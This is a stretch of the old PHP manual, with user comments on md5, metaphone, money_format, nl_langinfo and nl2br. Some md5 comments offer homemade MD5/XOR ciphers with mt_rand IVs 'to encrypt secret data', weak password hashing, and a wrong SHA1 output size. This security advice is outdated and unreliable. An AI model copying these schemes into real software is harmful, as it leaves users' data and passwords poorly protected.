Concatenating two different hashes will decrease security.  Instead of an attacker having to crack one hash algorithm they now have the option of cracking either.  It's like a crime scene having one clue or several clues.  In security simplicity is usually the better approach.
functionifelse at gmail dot com
10-Dec-2004 12:34
Here is a function to convert raw md5 to hex md5:
<?
function raw2hex($s){
  for($i = 0; $i < strlen($s); $i++){
   $op .= str_pad(dechex(ord($s[$i])),2,"0",STR_PAD_LEFT);
  }
  return $op;
}
?>
Where $s is the raw md5 input.
John S.
04-Dec-2004 03:42
If you want to replicate CPAN Digest::MD5's function md5_base64 in PHP, use this code:

<?php

function md5_base64 ( $data )
{
   return preg_replace('/=+$/','',base64_encode(pack('H*',md5($data))));
}

?>
Alexander Valyalkin
01-Jul-2004 04:41
Below is MD5-based block cypher (MDC-like), which works in 128bit CFB mode. It is very useful to encrypt secret data before transfer it over the network.
$iv_len - initialization vector's length.
0 <= $iv_len <= 512

<?php

function get_rnd_iv($iv_len)
{
   $iv = '';
   while ($iv_len-- > 0) {
       $iv .= chr(mt_rand() & 0xff);
   }
   return $iv;
}

function md5_encrypt($plain_text, $password, $iv_len = 16)
{
   $plain_text .= "\x13";
   $n = strlen($plain_text);
   if ($n % 16) $plain_text .= str_repeat("\0", 16 - ($n % 16));
   $i = 0;
   $enc_text = get_rnd_iv($iv_len);
   $iv = substr($password ^ $enc_text, 0, 512);
   while ($i < $n) {
       $block = substr($plain_text, $i, 16) ^ pack('H*', md5($iv));
       $enc_text .= $block;
       $iv = substr($block . $iv, 0, 512) ^ $password;
       $i += 16;
   }
   return base64_encode($enc_text);
}

function md5_decrypt($enc_text, $password, $iv_len = 16)
{
   $enc_text = base64_decode($enc_text);
   $n = strlen($enc_text);
   $i = $iv_len;
   $plain_text = '';
   $iv = substr($password ^ substr($enc_text, 0, $iv_len), 0, 512);
   while ($i < $n) {
       $block = substr($enc_text, $i, 16);
       $plain_text .= $block ^ pack('H*', md5($iv));
       $iv = substr($block . $iv, 0, 512) ^ $password;
       $i += 16;
   }
   return preg_replace('/\\x13\\x00*$/', '', $plain_text);
}

/******************************************/
$plain_text = 'very secret string';
$password = 'very secret password';
echo "plain text is: [${plain_text}]<br />\n";
echo "password is: [${password}]<br />\n";

$enc_text = md5_encrypt($plain_text, $password);
echo "encrypted text is: [${enc_text}]<br />\n";

$plain_text2 = md5_decrypt($enc_text, $password);
echo "decrypted text is: [${plain_text2}]<br />\n";

?>
mina86 at tlen dot pl
27-Feb-2004 03:14
In respons to Emin Sadykhov at 14-Oct-2003 12:47:
The function presented by Emin isn't IMO simple, simpler is:
<?php
if (!function_exists('is_md5')) {
  function is_md5($var) {
   return preg_match('/^[A-Fa-f0-9]{32}$/',$var);
  }
}
?>
Morover (as I proved somewhere else) it's faster 'cuz preg_match() is faster then ereg()
brian_bisaillon at rogers dot com
26-Feb-2004 12:17
Source code to create SSHA passwords...

public function HashPassword($password)
{
  mt_srand((double)microtime()*1000000);
  $salt = mhash_keygen_s2k(MHASH_SHA1, $password, substr(pack('h*', md5(mt_rand())), 0, 8), 4);
  $hash = "{SSHA}".base64_encode(mhash(MHASH_SHA1, $password.$salt).$salt);
  return $hash;
}

Source code to validate SSHA passwords...

public function ValidatePassword($password, $hash)
{
  $hash = base64_decode(substr($hash, 6));
  $original_hash = substr($hash, 0, 20);
  $salt = substr($hash, 20);
  $new_hash = mhash(MHASH_SHA1, $password . $salt);
   if (strcmp($original_hash, $new_hash) == 0)
     ... do something because your password is valid ...
  else
   echo 'Unauthorized: Authorization has been refused for the credentials you provided. Please login with a valid username and password.';
   ... be sure to clear your session data ...
}

Note: The format is compatible with OpenLDAP's SSHA scheme if I'm not mistaken.
silasjpalmer at optusnet dot com dot au
14-Feb-2004 12:17
A user friendly example of hkmaly's XOR encryption / decryption functions which use MD5 hashing on the key.

<?php

  function bytexor($a,$b,$l)
  {
   $c="";
   for($i=0;$i<$l;$i++) {
     $c.=$a{$i}^$b{$i};
   }
   return($c);
  }

  function binmd5($val)
  {
   return(pack("H*",md5($val)));
  }

  function decrypt_md5($msg,$heslo)
  {
   $key=$heslo;$sifra="";
   $key1=binmd5($key);
   while($msg) {
     $m=substr($msg,0,16);
     $msg=substr($msg,16);
     $sifra.=$m=bytexor($m,$key1,16);
     $key1=binmd5($key.$key1.$m);
   }
   echo "\n";
   return($sifra);
  }

  function crypt_md5($msg,$heslo)
  {
   $key=$heslo;$sifra="";
   $key1=binmd5($key);
   while($msg) {
     $m=substr($msg,0,16);
     $msg=substr($msg,16);
     $sifra.=bytexor($m,$key1,16);
     $key1=binmd5($key.$key1.$m);
   }
   echo "\n";
   return($sifra);
  }

// Example of usage...

$message = "This is a very long message, but it is very secret and important
and we need to keep the contents hidden from nasty people who might want to steal it.";

$key = "secret key";

$crypted = crypt_md5($message, $key);
echo "Encoded = $crypted<BR>"; // returns = `<H {.1{JV+je

$uncrypted = decrypt_md5($crypted, $key);
echo "Unencoded = $uncrypted"; // returns This is a very long message (etc)

?>
mina86 at tlen dot pl
13-Sep-2003 08:41
In respons to paj at pajhome dot org dot uk @ 21-May-2003 03:20:
In many cases, there is only hash of password saved on server, so JavaScript script must return:  md5(md5(password) + random)  and server must compare it with  md5(saved_md5 + random).
However, it might be less secure then sending plain password. Let say someone gaind read only access to your database (it doesn't matter how he did it). With such access he can read each user's reacord so he knows each user username and hash of password. With that knowledge, all he must do to hack your site is connect to server, read the random number, calculate  md5(hash_of_password_which_he_has_stolen + random)  and send it to server. Be aware of this issue if you think your database is not secure enought.
marc at NOSPAM dot giombetti dot com
08-Aug-2003 12:18
I use md5 to create a string that will be valid for X seconds!
One may use this function for cacheing reasons or even timeout functionality in a script.

/**
 * valid_for_x_minutes() : Gernates an md5 hash that will be the same for $timeout minutes
 * This function was intitialy used in combination with jpGraph to allow cacheing of multiple
 *  charts for a specified time.
 *
 * @param $timeout - Timeout in minutes
 * @param $optional - An optional string to include to in the md5 string
 * @return
 */
function valid_for_x_minutes($timeout,$optional){
   if($timeout != "0"){
   $hours = date("H");
   $minutes = date("i");
   $tmpval = ceil($minutes/$timeout)*$timeout;
   if(!empty($optional)){
       return md5("$tmpval$optional");
   }else{
       return md5("$tmpval");
   }
   }else{
   return md5(time());
   }
}
paj at pajhome dot org dot uk
22-May-2003 06:20
Hi,

You can use the MD5 function in combination with a similar JavaScript function to protect user passwords for logins. The arrangement goes like this:

When the user requests the login page, the server generates a random number. It stores this in a session variable as well as sending to the client.

When the user clicks submit, JavaScript in the client computes md5(password + random).

The server can also generate this hash, because it already knows the password and random number. It uses this to check that the user entered the correct password.

The password has not been transmitted in the clear, and next login the random number will be different, so an attacker can't use a "replay attack".

JavaScript MD5 is available here: http://pajhome.org.uk/crypt/md5/

Paul
Shane Allen
15-Apr-2003 11:53
From the documentation on Digest::MD5:
md5($data,...)
This function will concatenate all arguments, calculate the MD5 digest of this "message", and return it in binary form.

md5_hex($data,...)
Same as md5(), but will return the digest in hexadecimal form.

PHP's function returns the digest in hexadecimal form, so my guess is that you're using md5() instead of md5_hex(). I have verified that md5_hex() generates the same string as PHP's md5() function.

(original comment snipped in various places)
>Hexidecimal hashes generated with Perl's Digest::MD5 module WILL
>NOT equal hashes generated with php's md5() function if the input
>text contains any non-alphanumeric characters.
>
>$phphash = md5('pa$$');
>echo "php original hash from text: $phphash";
>echo "md5 hash from perl: " . $myrow['password'];
>
>outputs:
>
>php original hash from text: 0aed5d740d7fab4201e885019a36eace
>hash from perl: c18c9c57cb3658a50de06491a70b75cd
dmarsh dot no dot spam dot please at spscc dot ctc dot edu
03-Dec-2002 06:27
Recommended readed: OpenSSL from O'reilly! It has chapters on SSL and PHP!! but it also covers cryptography in more depth (chapters 1 and 2 are highly recommended to all here!). It has lots of good information! Talks in depth about lots of stuff that I cannot begin to explain here.

MD5 is a repeatable hashes / digest process. Taking something of unknown size or content and reducing it to a known size but retaining a high degree of unknown content. A good hash / digest is said to alter the output significantly
changing ~50% of the bits in the "fixed-in-size" output stream) in the event of changing one bit (at random) from the "unknown-in-size" input stream (or even changing the length of the input stream by one bit*/byte, *=with padding if necessary)

MD5 is such a hash / digest. Other than that, it doesn't do much on it's own.

MD5 is a cheap way to test a file transfer (like a CRC32). If either the file or the MD5 is downloaded with errors, the chances that the MD5 of the file and the "PUBLIC" copy of the MD5 will match is highly unlikely. Both would have to error in a highly unpredictable way. However relying of MD5s as a way to validate that the file hasn't been tamptered with (tainted) is not good. If you can download the file from one place and a public MD5 from a second place, you at least are using a 3rd party method to attempt to validate the file's contents against tainting.

MD5 can ONLY be used to validate the contents against tainting if there is something secret (private) between the two end-points.

Lets examine MD5 in a typical and extremely effective email validating process. The two parties via a trusted method exchange a word / phrase / password (something private) that hopefully nobody else knows.

The first party publically composes an email with an MD5. But instead of sending that MD5. the MD5 is used against this word / phrase / password (private) in a Message Authentication Code (MAC), or better Hash-MAC (HMAC) (see http://www.rsasecurity.com/rsalabs/faq/2-1-7.html)

One way would be to MD5 the word / phrase / password (private) part and the public part (the message body) as two different MD5's. the MD5 the two MD5s together as a single MD5 and send the composite MD5 in the public.

The receiver can (using all available parts, the private part, public part and the composite MD5) authenicate (testing against the computed part) the message hasn't been tampered during transit. The message body and the composite MD5 is sent in plain text, yet the contents have been authenicated with a high level of confidence. No encryption was used.

MD5 is often used to authenicate parts of encrypted streams and thus is the reason why many confuse MD5 as encryption (or even authenication) rather than what it is. A hash / digest.

An alternate to MD5 is SHA1. The output size of SHA1 is a little bigger (I think 164bits). More bits, means a higher degree of complexity. 128 bits is concidered minimim by experts in the field.... For cipher lengths and symmetric key sizes (due to computational power now available for brute force attacks).

--Doug
karlos dot gustavo at terra dot com dot br
01-Oct-2002 12:09
simple slappaswd MD5 hash generation:

$ldap_passwd = "{md5}".base64_encode(pack("H*",md5($password)));
mbabcock-php at fibrespeed dot net
28-Jun-2001 05:06
I must point out to all the people who read the notes this far that MD5 is _not_ encryption in a traditional sense.  Creating an MD5 digest (or hash) of a message simply creates 128 bits that can be used to almost positively identify that message or object in the future.  You use MD5 if you want to validate that information is true.  For example, you may ask a user to submit a message through a browser POST and save an MD5 of that message in a database for a preview function.  When the user submits it the second time, running the MD5 hash of the new version of the text and comparing it to the original MD5 in the database will tell you if the text has changed at all.  This is how MD5 is used -- it is _not_ for encrypting things so as to get the data back afterward -- the MD5 hash version does _not_ contain the data of the original in a new form.
add a note add a note

后退 | 起点 | 前进
md5_file | 上一级 | metaphone


metaphone

(PHP 4, PHP 5)

metaphone -- Calculate the metaphone key of a string

Description

string metaphone ( string str [, int phones] )

Calculates the metaphone key of str.

Similar to soundex() metaphone creates the same key for similar sounding words. It's more accurate than soundex() as it knows the basic rules of English pronunciation. The metaphone generated keys are of variable length.

Metaphone was developed by Lawrence Philips <lphilips at verity dot com>. It is described in ["Practical Algorithms for Programmers", Binstock & Rex, Addison Wesley, 1995].

add a note add a note User Contributed Notes
altano at bigfoot dot com
25-Nov-2005 05:48
You can find the source code of a working example on how to use metaphones for spell checking, plus a free MySQL database dump of American English words and their metaphones at http://dubi.org/spell-checker

That should get you started on writing a spell-checker or whatever in no time.
13-Oct-2005 01:44
I have a forum for spanish speakers and the speller that I was using was using the metaphone function  and it didn't make a lot of sense. I looked for an equivalent  metaphone function for spanish and I never even came close to find it, so I was very happy to find the functional DoubleMetaphone().  Thanks to that function, I came up with this spanish_metaphone function.

Here it is:

       http://www.geocities.com/isloera/spanish_methaphone.txt
stpierre(ta)nebr]NOSPAM[wesleyan(tod)edu
10-Jul-2004 02:17
A C implementation of double metaphone is at http://www.cpan.org/modules/ by-authors/id/MAURICE/Text-DoubleMetaphone-0.07.tar.gz.  (Sorry I had to break that URL up; wouldn't let me post it otherwise.)  If you really need double metaphone that badly, you could roll this into your PHP build for (I would suspect) substantial performance gains.
mail at spam-off dot iaindooley dot com
16-Jan-2004 04:37
you can use the metaphone function quite effectively with phrases by taking the levenshtein distances between two metaphone codes, and then taking this as a percentage of the length of the original metaphone code. thus you can define a percentage error, (say 20%) and accept only matches that are closer than that. i've found this works quite effectively in a function i am using on my website where an album name that the user entered is verified against existing album names that may be similar. this is also an excellent way of people being able to vaguely remember a phrase and get several suggestions out of the database. so you could type "i stiched nine times" with an error percentage of, say, 50 and still get 'a stitch in time saves nine' back as a match.
server: zinkconsulting.com user: galen@
26-Nov-2003 06:18
A small warning about the double metaphone function/class implemented in php: it's slow. Very slow.

On my Mac OS X box it takes roughly 4 seconds to calculate the double_metaphone of a given string 1,000 times and set a variable to that value. Given the exact same code, the built in metaphone function takes a mere 0.03 seconds. That's a huge difference. For reference, soundex takes about 0.015 seconds.

I had dreams of ranking my person database search results with double_metaphone, but with searches yielding a few thousand results sometimes, this isn't terribly reasonable. I'm back to basic metaphone functions.

I'd suggest anyone considering the use of the double_metaphone functionality weigh the slight improvement in results with the fact it's 100 times slower than the php function metaphone. I believe this difference is probably due mostly to implementation and optimization (php code vs. optimized internal php function).

Anybody up for writing a double_metaphone function for php? Maybe php 5?
11-Jan-2003 02:47
Note that you can't really use this on phrases, the results are not what you might expect, see the following test code.

echo metaphone("This is a test");

Output:
0SSTST

echo metaphone("This");
echo metaphone("is");
echo metaphone("a");
echo metaphone("test");

Output:
0SISATST
amon at nonmouse dot net
01-Aug-2002 06:14
You can see this function at work at http://wamex.org.

My only wish is that it returned phonetic values for numbers, instead of "".
ahjs at ozemail dot com dot au
13-Mar-2002 02:51
The improved double metaphone algorithm is available as a php class and function at http://swoodbridge.com/DoubleMetaPhone/
davef at getacard dot com
22-Apr-2000 09:52
A good reference to explain how the metaphone stuff works (and show you a working example) is:
http://www.lanw.com/java/phonetic/
add a note add a note

后退 | 起点 | 前进
md5 | 上一级 | money_format


money_format

(PHP 4 >= 4.3.0, PHP 5)

money_format -- Formats a number as a currency string

Description

string money_format ( string format, float number )

money_format() returns a formatted version of number. This function wraps the C library function strfmon(), with the difference that this implementation converts only one number at a time.

注: The function money_format() is only defined if the system has strfmon capabilities. For example, Windows does not, so money_format() is undefined in Windows.

The format specification consists of the following sequence:

  • a % character

  • optional flags

  • optional field width

  • optional left precision

  • optional right precision

  • a required conversion character

Flags. One or more of the optional flags below can be used:

=f

The character = followed by a (single byte) character f to be used as the numeric fill character. The default fill character is space.

^

Disable the use of grouping characters (as defined by the current locale).

+ or (

Specify the formatting style for positive and negative numbers. If + is used, the locale's equivalent for + and - will be used. If ( is used, negative amounts are enclosed in parenthesis. If no specification is given, the default is +.

!

Suppress the currency symbol from the output string.

-

If present, it will make all fields left-justified (padded to the right), as opposed to the default which is for the fields to be right-justified (padded to the left).

Field width.

w

A decimal digit string specifying a minimum field width. Field will be right-justified unless the flag - is used. Default value is 0 (zero).

Left precision.

#n

The maximum number of digits (n) expected to the left of the decimal character (e.g. the decimal point). It is used usually to keep formatted output aligned in the same columns, using the fill character if the number of digits is less than n. If the number of actual digits is bigger than n, then this specification is ignored.

If grouping has not been suppressed using the ^ flag, grouping separators will be inserted before the fill characters (if any) are added. Grouping separators will not be applied to fill characters, even if the fill character is a digit.

To ensure alignment, any characters appearing before or after the number in the formatted output such as currency or sign symbols are padded as necessary with space characters to make their positive and negative formats an equal length.

Right precision .

.p

A period followed by the number of digits (p) after the decimal character. If the value of p is 0 (zero), the decimal character and the digits to its right will be omitted. If no right precision is included, the default will dictated by the current local in use. The amount being formatted is rounded to the specified number of digits prior to formatting.

Conversion characters .

i

The number is formatted according to the locale's international currency format (e.g. for the USA locale: USD 1,234.56).

n

The number is formatted according to the locale's national currency format (e.g. for the de_DE locale: DM1.234,56).

%

Returns the % character.

注: The LC_MONETARY category of the locale settings, affects the behavior of this function. Use setlocale() to set to the appropriate default locale before using this function.

Characters before and after the formatting string will be returned unchanged.

例子 1. money_format() Example

We will use different locales and format specifications to illustrate the use of this function.

<?php

$number = 1234.56;

// let's print the international format for the en_US locale
setlocale(LC_MONETARY, 'en_US');
echo money_format('%i', $number) . "\n";
// USD 1,234.56

// Italian national format with 2 decimals`
setlocale(LC_MONETARY, 'it_IT');
echo money_format('%.2n', $number) . "\n";
// L. 1.234,56

// Using a negative number
$number = -1234.5672;

// US national format, using () for negative numbers
// and 10 digits for left precision
setlocale(LC_MONETARY, 'en_US');
echo money_format('%(#10n', $number) . "\n";
// ($        1,234.57)

// Similar format as above, adding the use of 2 digits of right
// precision and '*' as a fill character
echo money_format('%=*(#10.2n', $number) . "\n";
// ($********1,234.57)

// Let's justify to the left, with 14 positions of width, 8 digits of
// left precision, 2 of right precision, withouth grouping character
// and using the international format for the de_DE locale.
setlocale(LC_MONETARY, 'de_DE');
echo money_format('%=*^-14#8.2i', 1234.56) . "\n";
// DEM 1234,56****

// Let's add some blurb before and after the conversion specification
setlocale(LC_MONETARY, 'en_GB');
$fmt = 'The final value is %i (after a 10%% discount)';
echo money_format($fmt, 1234.56) . "\n";
// The final value is  GBP 1,234.56 (after a 10% discount)

?>

See also: setlocale(),
number_format(),sprintf(),
printf() and sscanf().

add a note add a note User Contributed Notes
richard dot selby at uk dot clara dot net
17-Feb-2006 11:02
Double check that money_format() is defined on any version of PHP you plan your code to run on.  You might be surprised.

For example, it worked on my Linux box where I code, but not on  servers running  BSD 4.11 variants. (This is presumably because strfmon  is not defined - see note at the top of teis page). It's not just a windows/unix issue.
admin at sellchain dot com
13-Jan-2006 01:04
If you are just looking to format a counter or something that does not represent money, and you want to avoid rounding, etc, just use this on a NON-DECIMAL NUMBER.

<?
echo "2406 is now " . Thousands(2406);
function Thousands($amt) {
return number_format($amt,0,'',',')
}
?>
www dot spam at whoah dot net
26-Aug-2004 09:33
For users of Windows looking for basic number formatting such as decimal places, decimal seperator and thousands seperators use number_format() instead.

http://www.php.net/number_format
The Mighty Will
26-Jan-2004 04:14
I didn't see it mentioned here, yet it threw me for a loop.  Once you use this function, you can no longer use these formatted numbers to perform normal math operations like addition.  This may be true with other functions as well, but I personally have experience with this scenario.

Example:
$curOne = money_format('%#4n',123.05);
#returns $ 123.05

$curTwo = money_format('%#4n',41.95);
#returns $ 41.95

echo $curOne + $curTwo;
#this will return $ 0.00

Instead:
$curOne = 123.05;
#returns 123.05

$curTwo = 41.95;
#returns 41.95

echo money_format('%#4n',$curOne + $curTwo);
#this will return $ 165.00
stefan at ioc dot nl
16-Jan-2004 01:31
To display EUR or the euro-sign, try this:

<?php
setlocale(LC_ALL, 'nl_NL@euro');
echo money_format('%i', 10000);
echo "<br>";
echo htmlentities(money_format('%.2n', 10000),ENT_QUOTES,'ISO-8859-15');
?>
rs98101 at yahoo dot com
14-Jun-2003 02:54
For applications where precision matters (i.e. anything where accountants and auditors get involved) I would not recommend using floats to keep track of money.  You will notice hard to trace rounding errors permeated through your application.  Use this function only for values where precision is not a must.
add a note add a note

后退 | 起点 | 前进
metaphone | 上一级 | nl_langinfo


nl_langinfo

(PHP 4 >= 4.1.0, PHP 5)

nl_langinfo -- Query language and locale information

Description

string nl_langinfo ( int item )

nl_langinfo() is used to access individual elements of the locale categories. Unlike localeconv(), which returns all of the elements, nl_langinfo() allows you to select any specific element.

If item is not valid, FALSE will be returned.

item may be an integer value of the element or the constant name of the element. The following is a list of constant names for item that may be used and their description. Some of these constants may not be defined or hold no value for certain locales.

表格 1. nl_langinfo Constants

Constant | Description
LC_TIME Category Constants
ABDAY_(1-7) | Abbreviated name of n-th day of the week.
DAY_(1-7) | Name of the n-th day of the week (DAY_1 = Sunday).
ABMON_(1-12) | Abbreviated name of the n-th month of the year.
MON_(1-12) | Name of the n-th month of the year.
AM_STR | String for Ante meridian.
PM_STR | String for Post meridian.
D_T_FMT | String that can be used as the format string for strftime() to represent time and date.
D_FMT | String that can be used as the format string for strftime() to represent date.
T_FMT | String that can be used as the format string for strftime() to represent time.
T_FMT_AMPM | String that can be used as the format string for strftime() to represent time in 12-hour format with ante/post meridian.
ERA | Alternate era.
ERA_YEAR | Year in alternate era format.
ERA_D_T_FMT | Date and time in alternate era format (string can be used in strftime()).
ERA_D_FMT | Date in alternate era format (string can be used in strftime()).
ERA_T_FMT | Time in alternate era format (string can be used in strftime()).
LC_MONETARY Category Constants
INT_CURR_SYMBOL | International currency symbol.
CURRENCY_SYMBOL | Local currency symbol.
CRNCYSTR | Same value as CURRENCY_SYMBOL.
MON_DECIMAL_POINT | Decimal point character.
MON_THOUSANDS_SEP | Thousands separator (groups of three digits).
MON_GROUPING | Like 'grouping' element.
POSITIVE_SIGN | Sign for positive values.
NEGATIVE_SIGN | Sign for negative values.
INT_FRAC_DIGITS | International fractional digits.
FRAC_DIGITS | Local fractional digits.
P_CS_PRECEDES | Returns 1 if CURRENCY_SYMBOL precedes a positive value.
P_SEP_BY_SPACE | Returns 1 if a space separates CURRENCY_SYMBOL from a positive value.
N_CS_PRECEDES | Returns 1 if CURRENCY_SYMBOL precedes a negative value.
N_SEP_BY_SPACE | Returns 1 if a space separates CURRENCY_SYMBOL from a negative value.
P_SIGN_POSN

  • Returns 0 if parentheses surround the quantity and currency_symbol.

  • Returns 1 if the sign string precedes the quantity and currency_symbol.

  • Returns 2 if the sign string follows the quantity and currency_symbol.

  • Returns 3 if the sign string immediately precedes the currency_symbol.

  • Returns 4 if the sign string immediately follows the currency_symbol.

N_SIGN_POSN
LC_NUMERIC Category Constants
DECIMAL_POINT | Decimal point character.
RADIXCHAR | Same value as DECIMAL_POINT.
THOUSANDS_SEP | Separator character for thousands (groups of three digits).
THOUSEP | Same value as THOUSANDS_SEP.
GROUPING
LC_MESSAGES Category Constants
YESEXPR | Regex string for matching 'yes' input.
NOEXPR | Regex string for matching 'no' input.
YESSTR | Output string for 'yes'.
NOSTR | Output string for 'no'.
LC_CTYPE Category Constants
CODESET | Return a string with the name of the character encoding.

注: 本函数未在 Windows 平台下实现。

See also setlocale() and localeconv().

add a note add a note User Contributed Notes
avatar_at_hot_ee
11-Mar-2006 11:58
The value MON_(1-12) has special behavior in Russian locale: it returns declinated month names, that can be used as part of a date string, but not on their own.

For instance instead of "" (the proper nominative form) it returns "" (form declinated for use in dates).

There seems to be no way to get the nominative form of the month name - one has to use translations instead.
zerof at terra dot com dot br
23-Apr-2005 01:34
<?php

$vlr19900 = nl_langinfo (CODESET);
$vlr19901 = nl_langinfo (D_T_FMT);
$vlr19902 = nl_langinfo (D_FMT);
$vlr19903 = nl_langinfo (T_FMT);
$vlr19904 = nl_langinfo (DAY_1);
$vlr19905 = nl_langinfo (ABDAY_1);
$vlr19906 = nl_langinfo (MON_1);
$vlr19907 = nl_langinfo (ABMON_1);
$vlr19908 = nl_langinfo (RADIXCHAR);
$vlr19909 = nl_langinfo (THOUSEP);
$vlr19910 = nl_langinfo (YESEXPR);
$vlr19911 = nl_langinfo (NOEXPR);
$vlr19912 = nl_langinfo (CRNCYSTR);

echo "encoding codeset => " . $vlr19900;
echo "<br /><br />date/time string para strftime => " . $vlr19901;
echo "<br /><br />date string for strftime => " . $vlr19902;
echo "<br /><br />time string for strftime => " . $vlr19903;
echo "<br /><br />long form day name => " . $vlr19904;
echo "<br /><br />short form day name => " . $vlr19905;
echo "<br /><br />long form month name => " . $vlr19906;
echo "<br /><br />short form month name => " . $vlr19907;
echo "<br /><br />decimals separator => " . $vlr19908;
echo "<br /><br />thousands separator => " . $vlr19909;
echo "<br /><br />REGEXP for 'Yes' => " . $vlr19910;
echo "<br /><br />REGEXP for 'No' => " . $vlr19911;
echo "<br /><br />local currency simbol => " . $vlr19912;

?>
add a note add a note

后退 | 起点 | 前进
money_format | 上一级 | nl2br


nl2br

(PHP 3, PHP 4, PHP 5)

nl2br -- Inserts HTML line breaks before all newlines in a string

Description

string nl2br ( string string )

Returns string with '<br />' inserted before all newlines.

注: Starting with PHP 4.0.5, nl2br() is now XHTML compliant. All versions before 4.0.5 will return string with '<br>' inserted before newlines instead of '<br />'.

例子 1. using nl2br()

<?php
echo nl2br("foo isn't\n bar");
?>

this will output :

foo isn't<br />
 bar

See also htmlspecialchars(),
htmlentities(),
wordwrap(), and
str_replace().

add a note add a note User Contributed Notes
godfrank DOMAIN-IS msn TLD-IS com
18-May-2006 12:12
I have modified my function found in the previous post.

It now uses preg_replace() which should technically be faster than ereg_replace(). You can also specify what you want to replace "\r\n" with. If you use the function with only one parameter, it will use '<br />' by default.

<?php
function nl2brStrict($text, $replacement = '<br />')
{
   return preg_replace("((\r\n)+)", trim($replacement), $text);
}
?>
chayden at chayden dot com
11-Mar-2006 07:07
Using buzoganylaszlo at yahoo dot com simple nl2p function, I've written a more HTML compliant function to deal with line breaks ...

<?php

/* FORMATS LINE BREAKS WITH PROPER HTML TAGS */
function format_html($content)
 {
  $content = "<p>" . str_replace("\r\n", "<br/>", $content) . "";
  $content = "" . str_replace("<br/><br/>", "</p><p>", $content) . "";
  return "" . str_replace("<br/><li>", "<li>", $content) . "";
 }

?>

Here is an example of its use ...

<?php

/* CONTENT TO BE PROCCESSED */
$content = "This is a\r\nline break.\r\n\r\nAnd this is a new paragraph.";

/* USE OF format_html FUNCTION */
/* NOTE: If you want 100% proper HTML tags, you'll need to add a closing paragraph tag (</p>) as shown below. */
echo format_html("$content</p>");

?>

The above will print ...

<p>This is a
<br/>line break.

<p>And this is a paragraph.</p>
Anders Norrbring
10-Mar-2006 05:49
Seems like I was a bit too quick and left out the vital part, and I also missed to escape the slashes in the post...

<?php
function br2nl($text)
{
   return  preg_replace('/<br\\\\s*?\\/??>/i', "\\n", $text);
}
?>
Anders Norrbring
10-Mar-2006 05:28
Seeing all these suggestions on a br2nl function, I can also see that neither would work with a sloppy written html line break.. Users can't be trusted to write good code, we know that, and mixing case isn't too uncommon.

I think this little snippet would do most tricks, both XHTML style and HTML, even mixed case like <Br> <bR /> and even <br            > or <br    />.

<?php
function br2nl($text)
{
   return  preg_replace('/<br\\s*?\/??>/i', '', $text);
}
?>
tom dot crawford at emailsystems dot com
11-Jan-2006 06:32
Note to foltscane at yahoo dot com

Wouldn't it be easier to do this:

$encoded_string = nl2br( htmlentities( $string_to_encode ) );
buzoganylaszlo at yahoo dot com
05-Jan-2006 08:51
There is a simple nl2p function:

<?php
function nl2p($text) {
  return "<p>" . str_replace("\n", "</p><p>", $text) . "</p>";
}
?>
foltscane at yahoo dot com
04-Jan-2006 12:47
I was interested in changing \n to <BR> but then still having htmlentities enforced inbetween these added <BR>s. So I wrote this simple textentities which will do just that.

function textentities($s)
{
   while($sp = strpos($s,"\n"))
   {
       echo htmlentities(substr($s,0,$sp))."<BR>";
       $s = substr($s,$sp+1,strlen($s));
   }
   echo htmlentities($s);
}
btm at anfo dot pl
20-Dec-2005 07:22
Comment on emailfire at gmail dot com nl2brr. It should be:
<? return str_replace(array("\r\n", "\n", "\r"), "<br>", $text); ?>
You've forgotten the backslashes.
jonasnicklas at hotmail dot com
20-Dec-2005 06:04
Re: emailfire

The function emailfire posted is missing some backslashes, a better alternative to it is:

<?php

$foo = "This\nis a\r\ntest\rmessage";

function nl2brr($text)
{
   return preg_replace("/\r\n|\n|\r/", "<br>", $text);
}

echo nl2brr($foo);

# Output: This<br>is a<br>test<br>message

?>

I put both functions in a for-loop and surprisingly preg_replace is a lot faster, I assume this is because str_replace will search the string several times. If you know what kind of breaks (Windows/Unix) you are expecting it is obviously better to use str_replace.

A note: Internet Explorer does not have any XHTML support, even browsers that DO have XHTML support (such as Firefox or Opera) will not parse pages as XHTML unless told so via a Header (for example through php's header function, like <?php header(Content-type: application/xhtml+xml); ?>), the tag <br /> is invalid in HTML 4. Since all browsers show it correctly anyway (though according to the specification they shouldn't), you could simply not care...
silya at rfvnu dot lg dot ua
05-Dec-2005 12:02
Trouble was with file function when long tags where broken by \r\n and function strip_tags worked not correctly with every element of array. This step prepare string from file for using function file and then strip_tags. (For example, html file generated by M$ Word)

<?php
$str = file_get_contents($filename);
$str = str_replace("\r\n", "\n", $str);
$opentag = 0;
$nl = 0;
for($i = 0; $i < strlen($str); $i++)
{
   if($opentag == 1 && $str[$i] == "\n")
   {
     $str[$i] = '  ';
     continue;
   }

   if($str[$i] == '<')
     $opentag = 1;
   elseif($str[$i] == '>')
     $opentag = 0;
   else ;

}
?>
thunberg at gmail dot com
14-Sep-2005 02:15
I wrote this because I wanted users to be able to do basic layout formatting by hitting enter in a textbox but still wanted to allow HTML elements (tables, lists, etc). The problem was in order for the output to be correct with nl2br the HTML had to be "scrunched" up so newlines wouldn't be converted; the following function solved my problem so I figured I'd share.

<?php

function nl2br_skip_html($string)
{
   // remove any carriage returns (mysql)
   $string = str_replace("\r", '', $string);

   // replace any newlines that aren't preceded by a > with a <br />
   $string = preg_replace('/(?<!>)\n/', "<br />\n", $string);

   return $string;
}

?>
webmaster at cafe-clope dot net
14-Aug-2005 06:50
based on previous notes, a generalist function that works with any <tag>...</tag>, and its ^-1. (use it with "li", for example) :

<?php
function nl2any($string, $tag = 'p', $feed = '') {
  // making tags
  $start_tag = "<$tag" . ($feed ? ' '.$feed : '') . '>' ;
  $end_tag = "</$tag>" ;

  // exploding string to lines
  $lines = preg_split('`[\n\r]+`', trim($string)) ;

  // making new string
  $string = '' ;
  foreach($lines as $line)
   $string .= "$start_tag$line$end_tag\n" ;

  return $string ;
}

function any2nl($string, $tag = 'p') {
  //exploding
  preg_match_all("`<".$tag."[^>]*>(.*)</".$tag.">`Ui", $string, $results) ;
  // reimploding without tags
  return implode("\n", array_filter($results[1])) ;
}
?>

I just had a problem when trying "`<$tag[^>]*>(.*)</$tag>`Ui" regexp string, I can't figure out why.
x against capital x at x everywhere x
12-Aug-2005 08:47
Regarding last post by admin at ninthcircuit, I think:

"rather than get into nasty regular expressions" === "I don't understand regular expressions"

No offense, but please be aware that kristen's solution is much more robust.  The ninthcircuit solution will miss cases when there are differences in case (e.g., BR instead of br) and when there is more than one space between the r and the / (e.g., <br    />).

We all like robust code, don't we?
admin at ninthcircuit dot info
